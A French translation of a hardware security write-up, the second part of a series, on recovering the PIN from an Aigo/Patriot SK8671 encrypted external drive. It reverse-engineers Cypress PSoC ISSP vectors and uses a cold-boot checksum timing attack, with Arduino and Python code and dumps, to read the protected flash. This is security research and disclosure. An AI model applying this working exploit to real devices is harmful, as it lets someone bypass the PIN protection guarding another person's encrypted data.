Ceci est la deuxième et dernière partie de l'article sur le piratage des disques durs autocripteurs externes. Je rappelle qu'un collègue m'a récemment apporté un disque dur Patriot (Aigo) SK8671, et j'ai décidé de le rétro-analyser. Je partage maintenant le résultat. Avant de continuer, assurez-vous de lire articles.

4. Nous commençons par extraire le dump de la mémoire flash interne PSoC
Ainsi, tout indique (comme nous l'avons établi dans [la première partie]()), que le code PIN est stocké dans les profondeurs flash du PSoC. Par conséquent, nous devons lire ces profondeurs flash. Front des travaux nécessaires :
- prendre le contrôle de la communication avec le microcontrôleur ;
- trouver un moyen de vérifier si cette communication est protégée contre la lecture de l'extérieur ;
- trouver un moyen de contourner la protection.
Il y a deux endroits où il est logique de chercher un code PIN valide :
- la mémoire flash interne ;
- SRAM, où le code PIN peut être stocké pour comparaison avec le code PIN saisi par l'utilisateur.
Pour aller droit au but, je note que j'ai finalement réussi à extraire le dump de la mémoire flash interne du PSoC, en contournant son système de protection grâce à une attaque matérielle de "traçage avec redémarrage à froid" – après avoir rétro-analysé les fonctionnalités non documentées du protocole ISSP. Cela m'a permis de récupérer directement le dump du code PIN en vigueur.
$ ./psoc.py
syncing : KO OK
[...]
PIN : 1 2 3 4 5 6 7 8 9Code source final :
- ;
- .
5. Protocole ISSP
5.1. Qu'est-ce que l'ISSP
"Communication" avec le microcontrôleur peut représenter différentes choses : de "vendor à vendor", à l'interaction utilisant un protocole série (par exemple, ICSP pour le PIC de Microchip).
Pour Cypress, il existe un protocole propriétaire appelé ISSP (in-system serial programming protocol ; protocole de programmation série en système) qui est partiellement décrit dans . donne également quelques informations. Il existe également un équivalent OpenSource appelé HSSP (nous l'utiliserons un peu plus tard). L'ISSP fonctionne comme suit :
- redémarrer le PSoC ;
- afficher un nombre magique sur la broche de données série de ce PSoC ; pour entrer en mode de programmation externe ;
- envoyer des commandes qui consistent en de longues chaînes de bits appelées « vecteurs ».
Dans la documentation de l'ISSP, ces vecteurs sont définis uniquement pour un petit nombre de commandes :
- Initialize-1
- Initialize-2
- Initialize-3 (versions 3V et 5V)
- ID-SETUP
- READ-ID-WORD
- SET-BLOCK-NUM : 10011111010dddddddd111, où dddddddd=block #
- BULK ERASE
- PROGRAM-BLOCK
- VERIFY-SETUP
- READ-BYTE : 10110aaaaaaZDDDDDDDDZ1, où DDDDDDDD = données de sortie, aaaaaa = adresse (6 bits)
- WRITE-BYTE : 10010aaaaaadddddddd111, où dddddddd = données d'entrée, aaaaaa = adresse (6 bits)
- SECURE
- CHECKSUM-SETUP
- READ-CHECKSUM : 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, où DDDDDDDDDDDDDDDD = données de sortie : somme de contrôle de l'appareil
- ERASE BLOCK
Par exemple, le vecteur pour Initialize-2 :
1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111Tous les vecteurs ont la même longueur : 22 bits. La documentation de l'HSSP contient quelques informations supplémentaires sur l'ISSP : « Le vecteur ISSP n'est rien d'autre qu'une séquence de bits représentant un ensemble d'instructions ».
5.2. Démystification des vecteurs
Voyons ce qui se passe ici. À l'origine, je pensais que ces vecteurs étaient des variantes brutes des instructions M8C, mais après avoir vérifié cette hypothèse, j'ai découvert que les opcodes ne correspondaient pas.
Ensuite, j'ai cherché le vecteur ci-dessus et je suis tombé sur étude, où l'auteur, bien qu'il ne pénètre pas dans les détails, donne quelques conseils utiles : « Chaque instruction commence par trois bits, qui correspondent à l'une des quatre mnémotechniques (lire depuis la RAM, écrire dans la RAM, lire un registre, écrire un registre). Ensuite, il y a une adresse de 8 bits, suivie de 8 bits de données (lues ou à écrire) et enfin trois bits d'arrêt. »
J'ai ensuite pu tirer des informations très utiles de la section « Supervisory ROM (SROM) » . SROM est une ROM codée en dur dans le PSoC, qui fournit des fonctions de service (sur un principe similaire à Syscall), – pour le code logiciel en cours d'exécution dans l'espace utilisateur :
- 00h : SWBootReset
- 01h : ReadBlock
- 02h : WriteBlock
- 03h : EraseBlock
- 06h : TableRead
- 07h : CheckSum
- 08h : Calibrate0
- 09h : Calibrate1
En comparant les noms des vecteurs avec les fonctions SROM, nous pouvons correspondre différentes opérations prises en charge par ce protocole avec les paramètres SROM attendus. Cela nous permet de décoder les trois premiers bits des vecteurs ISSP :
- 100 => "wrmem"
- 101 => "rdmem"
- 110 => "wrreg"
- 111 => "rdreg"
Cependant, une compréhension complète des processus internes du chip ne peut être obtenue qu'en communiquant directement avec le PSoC.
5.3. Communication avec le PSoC
Puisque Dirk Petroautsky a déjà Le code HSSP de Cypress sur Arduino, j'ai utilisé un Arduino Uno pour me connecter au connecteur ISSP de la carte du clavier.
Veuillez noter que dans le cadre de mes recherches, j'ai considérablement modifié le code de Dirk. Vous pouvez trouver ma modification sur GitHub : et le script Python correspondant pour communiquer avec l'Arduino, dans mon référentiel .
Donc, en utilisant Arduino, j'ai d'abord utilisé pour la « communication » uniquement les vecteurs « officiels ». J'ai essayé de lire la ROM interne en utilisant la commande VERIFY. Comme prévu, je n'ai pas réussi à le faire. Probablement à cause des bits de protection contre la lecture activés dans la mémoire flash.
Ensuite, j'ai créé quelques vecteurs simples pour écrire et lire la mémoire / les registres. Notez que nous pouvons lire toute la SROM, même si la mémoire flash est protégée !
5.4. Identification des registres internes du chip
En regardant les vecteurs « désassemblés », j'ai découvert que l'appareil utilise des registres non documentés (0xF8-0xFA) pour indiquer des opcodes M8C qui s'exécutent directement, en contournant la protection. Cela m'a permis d'exécuter divers opcodes tels que « ADD », « MOV A, X », « PUSH » ou « JMP ». Grâce à eux (en observant les effets secondaires qu'ils ont sur les registres), j'ai pu déterminer lesquels de ces registres non documentés sont en réalité des registres ordinaires (A, X, SP et PC).
En fin de compte, le code « désassemblé » généré par l'outil HSSP_disas.rb ressemble à ceci (pour plus de clarté, j'ai ajouté des commentaires) :
--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00 # réinitialisation des drapeaux
[DE C0 1C] wrreg SP (f6), 0x00 # réinitialisation du SP
[9F 07 5C] wrmem KEY1, 0x3A # argument obligatoire pour SSC
[9F 20 7C] wrmem KEY2, 0x03 # de même
[DE A0 1C] wrreg PCh (f5), 0x00 # réinitialisation du PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03 # (LSB) ... jusqu'à 3 ??
[9F 70 1C] wrmem POINTER, 0x80 # pointeur RAM pour la sortie
[DF 26 1C] wrreg opc1 (f9), 0x30 # OpCode 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40 # OpCode 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01 # ID de bloc pour appeler SSC
[DE 00 DC] wrreg A (f0), 0x06 # numéro "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00 # OpCode pour SSC, "Appel Supervisé SROM"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 # opération non documentée : exécuter un opcod externe
5.5. Bits de protection
À ce stade, je peux déjà communiquer avec le PSoC, mais je n'ai toujours pas d'informations fiables sur les bits de protection de la flash. J'ai été très surpris de constater que Cypress ne fournit aucun moyen aux utilisateurs de l'appareil pour vérifier si la protection est activée. J'ai approfondi mes recherches sur Google pour comprendre que le code HSSP fourni par Cypress avait été mis à jour après que Dirk ait sorti sa modification. Et voilà ! Un nouveau vecteur est apparu :
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # arguments inconnus
[9F E0 1C] wrmem 0xFF, 0x00 # de même
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10 # syscall non documentée !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12En utilisant ce vecteur (voir read_security_data dans psoc.py), nous obtenons tous les bits de sécurité dans l'SRAM à 0x80, où chaque bloc protégé a deux bits.
Le résultat est décourageant : tout est protégé en mode « désactiver la lecture et l'écriture externes ». Nous ne pouvons donc rien lire ou écrire sur la flash (par exemple, pour y injecter un dump ROM). Et le seul moyen de désactiver la protection est d'effacer complètement la puce. 🙁
6. Première tentative (échouée) : ROMX
Cependant, nous pouvons essayer de faire le trick suivant : puisque nous avons la possibilité d'exécuter des opcodes arbitraires, pourquoi ne pas exécuter ROMX, qui s'applique à la lecture de la mémoire flash ? Cette approche a de bonnes chances de réussir. Car la fonction ReadBlock, qui lit les données depuis SROM (utilisée par des vecteurs), vérifie si elle est appelée depuis l'ISSP. Cependant, l'opcode ROMX, apparemment, ne devrait pas avoir cette vérification. Voici donc le code Python (après avoir ajouté quelques classes auxiliaires dans le code C d'Arduino) :
for i in range(0, 8192):
write_reg(0xF0, i>>8) # A = 0
write_reg(0xF3, i&0xFF) # X = 0
exec_opcodes("x28x30x40") # ROMX, HALT, NOP
byte = read_reg(0xF0) # ROMX lit les ROM[A|X] dans A
print "x" % ord(byte[0]) # afficher l'octet ROMMalheureusement, ce code ne fonctionne pas. 🙁 En fait, il fonctionne, mais en sortie, nous recevons nos propres opcodes (0x28 0x30 0x40) ! Je ne pense pas que la fonctionnalité correspondante de l'appareil soit une protection contre la lecture. Cela ressemble plus à un tour d'ingénierie : lors de l'exécution d'opcodes externes, le bus ROM est redirigé vers un tampon temporaire.
7. Deuxième attaque : traçage avec redémarrage à froid
Puisque le trick avec ROMX n'a pas fonctionné, j'ai commencé à envisager une autre variante de ce trick - décrite dans la publication .
7.1. Mise en œuvre
Dans la documentation de l'ISSP, le vecteur suivant est donné pour CHECKSUM-SETUP :
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Ici, en fait, nous appelons la fonction SROM 0x07, comme indiqué dans la documentation (italique à moi) :
Cette fonction vérifie la somme de contrôle. Elle calcule la somme de contrôle 16 bits du nombre de blocs spécifié par l'utilisateur - dans une seule banque de flash, en commençant à zéro. Le paramètre BLOCKID est utilisé pour transmettre le nombre de blocs qui sera utilisé pour le calcul de la somme de contrôle. Une valeur de «1» calculera la somme de contrôle uniquement pour le bloc zéro ; tandis que «0» entraînera le calcul de la somme de contrôle totale de tous les 256 blocs de la banque flash. La somme de contrôle 16 bits est renvoyée via KEY1 et KEY2. Dans le paramètre KEY1, les 8 bits inférieurs de la somme de contrôle sont enregistrés, tandis que dans KEY2, ce sont les 8 bits supérieurs. Pour les appareils avec plusieurs banques flash, la fonction de somme de contrôle est appelée pour chaque banque individuellement. Le numéro de la banque avec laquelle elle va travailler est défini par le registre FLS_PR1 (en y plaçant le bit correspondant à la banque flash cible).
Notez que c'est une somme de contrôle très simple : les octets sont simplement additionnés les uns après les autres ; pas de mécanismes CRC sophistiqués. De plus, sachant que dans le noyau M8C, le jeu de registres est très petit, j'ai supposé qu'en calculant la somme de contrôle, les valeurs intermédiaires seraient enregistrées dans les mêmes variables qui seront finalement utilisées pour la sortie : KEY1 (0xF8) / KEY2 (0xF9).
Donc, en théorie, mon attaque ressemble à ceci :
- Nous nous connectons via ISSP.
- Nous lançons le calcul de la somme de contrôle, en utilisant le vecteur CHECKSUM-SETUP.
- Nous redémarrons le processeur après un temps T défini.
- Nous lisons la RAM pour obtenir la somme de contrôle actuelle C.
- Nous répétons les étapes 3 et 4, en augmentant légèrement T à chaque fois.
- Nous récupérons les données de la flash, en soustrayant la somme de contrôle précédente C de la somme de contrôle actuelle.
Cependant, un problème est survenu : le vecteur Initialize-1 que nous devons envoyer après le redémarrage écrase KEY1 et KEY2 :
1100101000000000000000 # Magie qui met PSoC en mode programmation
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # la somme de contrôle est réécrite ici
[9F 20 7C] wrmem KEY2, 0x03 # et ici
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09 # fonction SROM 9
[DF 00 1C] wrreg opc0 (f8), 0x00 # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Ce code écrase notre précieuse somme de contrôle, en invoquant Calibrate1 (fonction SROM 9)… Peut-être que nous pouvons simplement envoyer un nombre magique (du début du code ci-dessus) pour entrer en mode programmation, puis lire le SRAM ? Et oui, cela fonctionne ! Le code Arduino réalisant cette attaque est assez simple :
case Cmnd_STK_START_CSUM:
checksum_delay = ((uint32_t)getch())<<24;
checksum_delay |= ((uint32_t)getch())<<16;
checksum_delay |= ((uint32_t)getch())< 10000) {
ms_delay = checksum_delay/1000;
checksum_delay = checksum_delay00;
}
else {
ms_delay = 0;
}
send_checksum_v();
if(checksum_delay)
delayMicroseconds(checksum_delay);
delay(ms_delay);
start_pmode();- Lire checksum_delay.
- Lancer le calcul de la somme de contrôle (send_checksum_v).
- Attendre une période déterminée, en tenant compte des pièges suivants :
- J'ai perdu beaucoup de temps avant de réaliser que fonctionne correctement uniquement avec des délais ne dépassant pas 16383 µs ;
- et j'ai ensuite perdu autant de temps encore à découvrir que delayMicroseconds, quand on lui passe 0, fonctionne complètement de manière incorrecte !
- Redémarrez le PSoC en mode programmation (il suffit d'envoyer un nombre magique, sans envoyer de vecteurs d'initialisation).
Le code final en Python :
for delay in range(0, 150000): # délai en microsecondes
for i in range(0, 10): # nombre de lectures pour chaque délai
try:
reset_psoc(quiet=True) # redémarrage et entrée en mode programme
send_vectors() # envoi des vecteurs d'initialisation
ser.write("x85"+struct.pack(">I", delay)) # calculer la somme de contrôle + redémarrer après le délai
res = ser.read(1) # lire ACK arduino
except Exception as e:
print e
ser.close()
os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # ouvrir le port série
continue
print "d X X X" % (delay, # lire les octets RAM
read_regb(0xf1),
read_ramb(0xf8),
read_ramb(0xf9))En résumé, que fait ce code :
- Il redémarre le PSoC (et lui envoie un nombre magique).
- Il envoie des vecteurs d'initialisation complets.
- Il appelle la fonction Arduino Cmnd_STK_START_CSUM (0x85), où le délai en microsecondes est passé comme paramètre.
- Il lit la somme de contrôle (0xF8 et 0xF9) et le registre non documenté 0xF1.
Ce code s'exécute 10 fois en 1 microseconde. Le 0xF1 est inclus ici car c'était le seul registre qui changeait lors du calcul de la somme de contrôle. Il pourrait s'agir d'une variable temporaire utilisée par l'unité arithmétique et logique. Notez le hack maladroit que j'utilise pour redémarrer Arduino, en utilisant picocom, lorsque l'Arduino ne montre plus de signes de vie (je ne sais pas pourquoi).
7.2. Lecture du résultat
Le résultat de l'exécution du script Python ressemble à ceci (simplifié pour la lisibilité) :
DÉLAI F1 F8 F9 # F1 – registre inconnu mentionné ci-dessus
# F8 octet de poids faible de la somme de contrôle
# F9 octet de poids fort de la somme de contrôle
00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00 # somme de contrôle réinitialisée à 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00 # 1er octet : 0x0080-0x0000 = 0x80
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00 # 2ème octet : 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01 # je n'ai aucune idée de ce qui se passe ici
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00 # Encore E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00 # Hmmm
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01 # Ah, je comprends ! Voici le transfert vers l'octet supérieur
00063 01 17 01
[...]
00075 CC 17 01 # Donc, 0x117-0xE7: 0x30Nous avons un problème : étant donné que nous travaillons avec la somme de contrôle réelle, l'octet nul ne modifie pas la valeur lue. Cependant, comme toute la procédure de calcul (8192 octets) prend 0,1478 secondes (avec quelques variations à chaque exécution), ce qui équivaut à environ 18,04 µs par octet, nous pouvons utiliser ce temps pour vérifier la valeur de la somme de contrôle à des moments appropriés. Pour les premiers passages, tout se lit assez facilement, car la durée d'exécution de la procédure de calcul est toujours pratiquement la même. Cependant, la fin de ce dump est moins précise, car les « légères variations de temps » à chaque passage s'accumulent et deviennent significatives :
134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DDCe sont 10 dumps pour chaque retard en microsecondes. Le temps total pour extraire le dump de tous les 8192 octets de la clé USB est d'environ 48 heures.
7.3. Reconstruction binaire de la clé USB
Je n'ai pas encore terminé l'écriture du code qui reconstruit complètement le code logiciel de la clé USB, en tenant compte de tous les écarts temporels. Cependant, j'ai déjà récupéré le début de ce code. Pour m'assurer que j'ai fait cela correctement, je l'ai désassemblé à l'aide de m8cdis :
0000: 80 67 jmp 0068h ; Vecteur de réinitialisation
[...]
0068: 71 10 or F,010h
006a: 62 e3 87 mov reg[VLT_CR],087h
006d: 70 ef and F,0efh
006f: 41 fe fb and reg[CPU_SCR1],0fbh
0072: 50 80 mov A,080h
0074: 4e swap A,SP
0075: 55 fa 01 mov [0fah],001h
0078: 4f mov X,SP
0079: 5b mov A,X
007a: 01 03 add A,003h
007c: 53 f9 mov [0f9h],A
007e: 55 f8 3a mov [0f8h],03ah
0081: 50 06 mov A,006h
0083: 00 ssc
[...]
0122: 18 pop A
0123: 71 10 or F,010h
0125: 43 e3 10 or reg[VLT_CR],010h
0128: 70 00 and F,000h ; Le mode de pagination a changé de 3 à 0
012a: ef 62 jacc 008dh
012c: e0 00 jacc 012dh
012e: 71 10 or F,010h
0130: 62 e0 02 mov reg[OSC_CR0],002h
0133: 70 ef and F,0efh
0135: 62 e2 00 mov reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff jmp 013bh
013d: 50 08 mov A,008h
013f: 7f retCela semble tout à fait plausible !
7.4. Trouver l'adresse de stockage du code PIN
Maintenant que nous pouvons lire la somme de contrôle aux moments désirés, nous pouvons facilement vérifier comment et où elle change lorsque nous :
- entrons un code PIN incorrect ;
- modifions le code PIN.
Tout d'abord, pour trouver l'adresse de stockage approximative, j'ai pris un dump de la somme de contrôle toutes les 10 ms, après le redémarrage. Ensuite, j'ai entré un code PIN incorrect et j'ai fait la même chose.
Le résultat n'était pas très agréable, car il y avait beaucoup de changements. Mais finalement, j'ai pu établir que la somme de contrôle avait changé quelque part entre 120000 µs et 140000 µs de retard. Mais le « code PIN » que j'y ai découvert était absolument incorrect – à cause de l'artefact de la procédure delayMicroseconds, qui fait des choses incompréhensibles lorsqu'on lui passe 0.
Ensuite, après avoir passé presque 3 heures, je me suis souvenu que l'appel système CheckSum de SROM reçoit un argument en entrée spécifiant le nombre de blocs pour la somme de contrôle ! Donc, nous pouvons facilement localiser l'adresse de stockage du code PIN et du compteur « d'essais infructueux », avec une précision de 64 blocs.
Mes premiers tests ont donné le résultat suivant :

Ensuite, j'ai changé le code PIN de « 123456 » à « 1234567 » et j'ai obtenu :

Ainsi, le code PIN et le compteur d'essais infructueux semblent être stockés dans le bloc n°126.
7.5. Prendre le dump du bloc n°126
Le bloc n°126 devrait se situer quelque part aux alentours de 125x64x18 = 144000 µs, depuis le début du calcul de la somme de contrôle, dans mon dump complet, et il semble tout à fait plausible. Ensuite, après avoir manuellement filtré de nombreux dumps incorrects (en raison de l'accumulation de « légères variations temporelles »), j'ai finalement obtenu ces octets (à un délai de 145527 µs) :

Il est évident que le code PIN est stocké en clair ! Ces valeurs ne sont pas enregistrées en codes ASCII, mais comme il s'est avéré, elles reflètent les mesures prises à partir d'un clavier capacitif.
Enfin, j'ai effectué quelques tests supplémentaires pour déterminer où se trouve le compteur des tentatives infructueuses. Voici le résultat :

0xFF – signifie « 15 tentatives », et il diminue à chaque mauvaise tentative.
7.6. Récupération du code PIN
Voici mon code peu élégant qui compile tout ce qui précède :
def dump_pin():
pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
last_csum = 0
pin_bytes = []
for delay in range(145495, 145719, 16):
csum = csum_at(delay, 1)
byte = (csum-last_csum)&0xFF
print "d x (x) => x" % (delay, csum, last_csum, byte)
pin_bytes.append(byte)
last_csum = csum
print "PIN: ",
for i in range(0, len(pin_bytes)):
if pin_bytes[i] in pin_map:
print pin_map[pin_bytes[i]],
printVoici le résultat de son exécution :
$ .\/psoc.py
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9Hourra ! Ça fonctionne !
Notez que les valeurs de délai que j'ai utilisées sont probablement valables pour un PSoC spécifique – celui que j'ai utilisé.
8. Et ensuite ?
Donc, récapitulons du côté du PSoC, dans le contexte de notre stockage Aigo :
- nous pouvons lire la SRAM, même si elle est protégée contre la lecture ;
- nous pouvons contourner la protection contre la lecture, via l'attaque « trace par réinitialisation à froid », et la lecture directe du code PIN.
Cependant, notre attaque présente certaines lacunes – en raison de problèmes de synchronisation. Elle pourrait être améliorée de la manière suivante :
- écrire une utilité pour décoder correctement les données de sortie obtenues suite à l'attaque « trace par réinitialisation à froid » ;
- utiliser un ajout FPGA pour créer des délais temporels plus précis (ou utiliser des minuteurs matériels Arduino);
- essayer une autre attaque : entrer un code PIN délibérément incorrect, redémarrer et décharger la RAM, en espérant que le bon code PIN soit conservé dans la RAM pour une comparaison. Cependant, cela n'est pas si simple sur Arduino, car le niveau de signal de l’Arduino est de 5 volts, tandis que la carte que nous étudions fonctionne avec des signaux de 3,3 volts.
Une chose intéressante que l'on pourrait essayer est de jouer avec le niveau de tension pour contourner la protection contre la lecture. Si une telle approche fonctionnait, nous pourrions obtenir des données absolument précises depuis la clé USB, au lieu de nous fier à la lecture d’un checksum avec des latences inexactes.
Comme le SROM lit probablement les bits de protection via l'appel système ReadBlock, nous pourrions faire la même chose que dans le blog de Dmitry Nedospasov – réimplémentation de l'attaque de Chris Gerlinski, annoncée à la conférence .
Une autre chose amusante que l’on pourrait faire est de réduire le boîtier de la puce : pour extraire un dump de SRAM, identifier les appels systèmes non documentés et les vulnérabilités.
9. Conclusion
Donc, la protection de ce dispositif laisse à désirer, car il utilise un microcontrôleur ordinaire (non « durci ») pour stocker le code PIN… De plus, je n'ai pas encore vérifié (pour l'instant) comment se passe le chiffrement des données sur cet appareil !
Que peut-on conseiller pour Aigo ? Après avoir analysé quelques modèles de disques durs chiffrés, j'ai réalisé en 2015 à SyScan, où j'ai examiné les problèmes de sécurité de plusieurs disques durs externes et donné des recommandations sur ce qui pourrait être amélioré. 🙂
J'ai consacré deux week-ends et plusieurs soirées à cette recherche. En tout, environ 40 heures. En comptant depuis le début (lorsque j'ai ouvert le disque) jusqu'à la fin (le dump du code PIN). Ces 40 heures incluent également le temps que j'ai passé à écrire cet article. Ce fut un voyage très captivant.
Source : habr.com
